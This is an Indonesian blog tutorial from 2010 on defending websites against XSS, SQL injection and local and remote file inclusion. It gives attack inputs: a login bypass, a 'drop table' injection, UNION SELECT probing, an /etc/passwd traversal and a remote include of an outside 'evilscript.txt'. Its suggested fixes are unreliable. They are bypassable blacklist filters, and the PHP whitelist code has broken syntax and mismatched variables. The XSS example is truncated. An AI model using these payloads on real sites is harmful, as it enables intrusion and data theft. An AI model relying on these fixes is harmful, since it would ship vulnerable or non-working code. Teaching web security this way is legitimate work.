Skip to main content

Protecting Website from Common Attacks

------------------------------------------------------/
[-] Title : Protecting website from common attacks
[-] Date : 08-08-2010
[-] Author : vYc0d
[-] Contact : vyc0d@hackermail.com
[-] Web : http://vyc0d.blogspot.com
[-] Language : Indonesian
------------------------------------------------------/

Konten :
[1] Pendahuluan
[2] Cross Site Scripting
[3] SQL Injection
\_ Login Form Bypassing
\_ UNION SQL Injection
[4] File Inclusion
[5] Special Thanks

[1] Pendahuluan

Artikel ini akan berisi tentang empat jenis serangan web umum dan pencegahannya, yang digunakan
di sebagian besar jenis defacement. Lima eksploitasi umum yang saya cantumkan di bawah ini
adalah XSS, SQL injection, RFI dan LFI. Sebagian besar kesalahan terjadi pada pemrograman
yang memungkinkan attacker untuk dapat menyusup ke dalam website.

[2] Cross Site Scripting

Cross Site Scripting adalah jenis celah yang digunakan oleh attacker untuk menyuntikkan kode ke halaman
web yang rentan terhadap serangan ini. Jika sebuah situs rentan terhadap cross site scripting, attacker
kemungkinan besar akan mencoba untuk menyuntikkan situs dengan javascript berbahaya atau mencoba scam pengguna
dengan menciptakan bentuk halaman web yang hampir sama untuk mendapatkan informasi.

Example:

http://www.situs.net/find.php?all=">


*Solusi (javascript) :


function RemoveBad(strTemp) {
strTemp = strTemp.replace(/\<|\>|\"|\'|\%|\;|\(|\)|\&|\+|\-/g,"");
return strTemp;
}
[3] SQL Injection

*\_ Login Form Bypassing

Berikut adalah contoh kode yang dapat kita bisa bypass:

index.html file:



Password:





login.php file:

$execute = "SELECT * from database WHERE password = '{$_POST['pass'])";
$result = mysql_query($execute);
?>

Kita dapat bypass dengan menggunakan ' or '1=1', dan menjalankan "password = ''or '1=1'';".
Atau attacker dapat juga dapat menghapus database dengan menjalankan "' drop table database; --".

*Solusi :

Menggunakan mysql_real_escape_string

Contoh:



*\_ Union SQL Injection

Union SQL injection adalah ketika pengguna menggunakan perintah UNION. Memeriksa celah dengan menambahkannya
di akhir url "sebuah php?.id=". Jika terdapat error MySQL, situs tersebut kemungkinan besar
besar rentan terhadap UNION SQL Injection. Attacker melanjutkan menggunakan ORDER BY untuk menemukan kolom,
dan pada akhirnya, mereka menggunakan perintah UNION ALL SELECT.

Contoh :
http://www.situs.net/index.php?id=1'
salah satu contoh pesan error:
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in.....

Setelah muncul pesan error,maka attacker melanjutkan aksinya ;))
http://www.situs.net/index.php?id=1 ORDER BY 1-- <-- No error. http://www.situs.net/index.php?id=1 ORDER BY 2-- <-- Muncul pesan error. Ini berarti hanya ada satu kolom http://www.situs.net/index.php?id=-1 UNION SELECT ALL version()-- <-- Memilih semua kolom dan menjalankan perintah version(). *Solusi : Tambahkan sesuatu seperti di bawah ini untuk mencegah SQL injection Union:

$bug = "(delete)|(update)|(union)|(insert)|(drop)|(http)|(--)|(/*)|(select)";
$patch = eregi_replace($bug, "", $patch);




[4] File Inclusion

\_ Remote File Inclusion dan Local File Inclusion

Remote File Inclusion adalah sebuah celah dimana situs mengizinkan attacker meng-includ file dari luar server.
Local File Inclusion adalah sebuah celah dalam situs dimana attacker dapat mengakses semua file di dalam server
dengan hanya melalui URL.

Contoh kode yang vulnerable :

Beberapa contoh serangan :
http://www.situs.net/page.php?page=../../../../../etc/passwd < contoh LFI http://www.situs.net/page.php?page=http://www.site.com/evilscript.txt? < contoh RFI *Solusi :

Validate the input.
$page = $_GET['page'];
$allowed = array('index.php', 'games.php' 'ip.php');
$iplogger = ('ip.php');
if (in_array $page, $pages)) {
include $page {
else
{
include $iplogger
die("IP logged.");
}

[5] Special Thanks

[-] Allah SWT, Muhammad SAW
[-] The big Family of :
[-] M0slem Hax0r - Echo - Indonesian Coder - Jasakom - Indonesian Hackers - Malang Cyber Crew
[-] ManadoCoding - Devilzc0de - Yogyacarderlink - Xcode - Hacker Newbie
[-] Klix ITN Malang - Kolam (Komunitas Linux Arek Malang)

Mirror : http://www.exploit-db.com/papers/14577/

Comments

vYc0d said…
@Fany
Weleh
klo mbulet tidur aja.wakakka
rh15c said…
two thumbs up.....
bro, am one of your fans

Popular posts from this blog

Fix HTTPS issue in browser - Burp Suite

If you get message "Software is Preventing Firefox From Safely Connecting to This Site. Most likely a safe site, but a secure connection could not be established. This issue is caused by The original certificate provided by the web server is untrusted., which is either software on your computer or your network." lets see the tutorial. 1. With Burp suite running, visit http://burp in your browser and click the "CA Certificate" link to download and save your Burp CA certificate. Remember where you save the Burp CA certificate.

How To Enable DNS over HTTPS

  DNS over HTTPS (DoH) is a protocol for performing remote Domain Name System (DNS) resolution via the HTTPS protocol. A goal of the method is to increase user privacy and security by preventing eavesdropping and manipulation of DNS data by man-in-the-middle attacks by using the HTTPS protocol to encrypt the data between the DoH client and the DoH-based DNS resolver. An alternative to DoH is the DNS over TLS (DoT) protocol, a similar standard for encrypting DNS queries, differing only in the methods used for encryption and delivery. On the basis of privacy and security, whether or not a superior protocol exists among the two is a matter of controversial debate, while others argue the merits of either depend on the specific use case. Benefits DoH improves privacy by hiding domain name lookups from someone lurking on public WiFi, your ISP, or anyone else on your local network. DoH, when enabled, ensures that your ISP cannot collect and sell personal information related to your browsi

Artillery - Binary Defense Project

Project Artillery is an open source project aimed at the detection of early warning indicators and attacks. The concept is that Artillery will spawn multiple ports on a system giving the attacker the idea that multiple ports are exposed. Additionally, Artillery actively monitors the filesystem for changes, brute force attacks, and other indicators of compromise. Artillery is a full suite for protection against attack on Linux and Windows based devices. It can be used as an early warning indicator of attackers on your network. Additionally, Artillery integrates into threat intelligence feeds which can notify when a previously seen attacker IP address has been identified. Artillery supports multiple configuration types, different versions of Linux, and can be deployed across multiple systems and events sent centrally. Artillery is a combination of a honeypot, monitoring tool, and alerting system. Eventually this will evolve into a hardening monitoring platform as well to detect ins